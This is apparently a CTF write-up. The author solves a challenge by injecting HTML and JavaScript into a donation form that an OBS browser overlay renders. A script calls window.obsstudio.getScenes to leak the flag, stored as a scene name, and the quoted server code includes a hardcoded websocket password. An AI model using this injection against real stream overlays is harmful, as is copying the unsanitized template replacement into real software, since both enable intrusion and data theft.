The challenge provides us with a zip archive containing the site’s source code and a link to a set of message boxes:
" zip.vim version v33
" Browsing zipfile /home/please/Documents/CTF/jellyctf/pentest-on-stream/pentest_on_stream.zip
" Select a file with cursor and press ENTER
pentest_on_stream/
pentest_on_stream/start_obs.sh
pentest_on_stream/app/
pentest_on_stream/app/server.py
pentest_on_stream/app/chat.html
pentest_on_stream/app/obs_worker.py
pentest_on_stream/app/index.html
pentest_on_stream/app/static/
pentest_on_stream/app/static/oval.svg
pentest_on_stream/app/dono.jpg
pentest_on_stream/app/chat_base.html
pentest_on_stream/app/NunitoSans.woff2
pentest_on_stream/Pipfile
pentest_on_stream/obs-studio/
pentest_on_stream/obs-studio/global.ini
pentest_on_stream/obs-studio/basic/
pentest_on_stream/obs-studio/basic/profiles/
pentest_on_stream/obs-studio/basic/profiles/profile/
pentest_on_stream/obs-studio/basic/profiles/profile/basic.ini
pentest_on_stream/obs-studio/basic/scenes/
pentest_on_stream/obs-studio/basic/scenes/scenes.json
pentest_on_stream/Pipfile.lock
pentest_on_stream/Dockerfile
pentest_on_stream/supervisord.conf
archive contents
rendered content of the donation site
We can input our name and a message as part of a ‘donation’, which kind of simulates a stream overlay:
some text input - we wait for the site to generate an image
My initial thoughts are to test whether the site will dump our unsanitized HTML & Javascript input (especially given the challenge description).
Fortunately, it seems that we can manipulate the HTML content of the remote DOM, but we are unable to get the server to pop an alert; noting the lack of any text content from the message field, it seems likely that there is something happening on the server that isn’t rendered into the image:
I want to see if I can get a script to render my injected content to confirm that the server is actually executing scripts in this message box - lets try rendering text into the DOM via a Javascript document.getElementById()
function:
<h2>uwu</h2>
<div id="uwu"></div>
<script>
const uwu = document.getElementById("uwu");
uwu.innerHTML = "owo";
</script>
Taking a quick look over the source code, it seems like the backend runs a Docker container running an OBS instance
connected via Python to the donation page front-end. Specifically, through the obs_worker.py
module, we are
calling an HTML template chat_base.html
and doing a direct string replacement and finally taking a screenshot
of the resulting rendered HTML in a headless browser or something:
import time
import obsws_python as obs
import redis
from rq import Worker, Queue, Connection
listen = ['default']
conn = redis.Redis()
obs_client = obs.ReqClient(host='localhost', port=4455, password='9WIBnsaL6t8Hiors')
with open("/app/chat_base.html", encoding="utf-8") as f:
chat_html = f.read()
if __name__ == '__main__':
with Connection(conn):
worker = Worker(list(map(Queue, listen)))
worker.work()
def refresh_and_screenshot_chat(name, message, _):
with open("/app/chat.html", "w", encoding="utf-8") as f:
f.write(chat_html.replace("__NAME__", name).replace("__MESSAGE__", message))
obs_client.press_input_properties_button("Browser", "refreshnocache")
# just dumbly wait for 1 second, there isn't a built in event we can hook to check for page load complete
time.sleep(1)
# cl.trigger_hot_key_by_name("OBSBasic.Screenshot")
screenshot_b64 = obs_client.get_source_screenshot(name="chat", img_format="jpg", width=1280, height=720, quality=90)
# reset
with open("/app/chat.html", "w", encoding="utf-8") as f:
f.write(chat_html)
# flip a property to force refresh
rwa = obs_client.get_input_settings(name="Browser").input_settings["restart_when_active"] or False
obs_client.set_input_settings(name="Browser", settings={"restart_when_active": not rwa}, overlay=True)
return screenshot_b64.image_data
I was thrown off a bit by the Redis instance here (was there a database angle to consider here?), but it was unimportant.
In the scenes.json
file, we also see the flag resides as the name of a scene in the remote OBS instance:
{
"current_scene": "chat",
"current_program_scene": "chat",
"scene_order": [
{
"name": "chat"
},
{
"name": "jellyCTF{redacted}"
}
],
"name": "scenes",
// ....
Furthermore, we can do a Google search for python library used to interface with OBS, which returns this obsws_python module, which is a Python wrapper for obs-websocket - an OBS websocket server builtin.
This API appears to have a standardised protocol,
so I want to try seeing if I can perform some kind of Javascript injection to see if I can reach out to this
websocket from the HTML the Python worker inserts into the chat_base.html
template.
Going through the aforementioned protocol documentation, we can find a section on request API functions with
a handy table of contents to show that we can retrieve a list of scenes via a GetSceneList
function.
We can’t call these via their Python bindings using Javascipt, but the API has a set of Javascript bindings that
might be available to us. We can construct the following script to call the GetSceneList
via the API’s Javascript binding:
<div id="uwu"></div>
<script>
const uwu = document.getElementById("uwu");
window.obsstudio.getScenes(function (scenes) {
uwu.innerHTML = scenes;
});
</script>
Calling this via the site prints our flag: